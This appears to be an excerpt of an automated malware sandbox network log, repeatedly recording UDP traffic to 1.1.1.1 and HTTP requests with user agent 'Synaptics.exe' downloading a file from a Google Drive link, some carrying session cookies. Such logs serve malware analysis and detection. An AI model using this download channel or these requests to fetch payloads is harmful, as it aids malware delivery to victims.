Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=HZAU1e_6zD1Tbvh2IrBgA-dj-MiKcypl2SZc0T0_IXcvLUKbbfDhrJt58FvFgGgjCVwb4NUkUxuAa4cEVCBs1n6rVz4utIPxA_t6ucoTwll7r5mMtwCeaguFKVKoDqjfKS6r0YP-L2NJTK7qP8Xg_hf7LPbOhKiobzWCvQ5GX7EfE7pgZkxXI0I
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
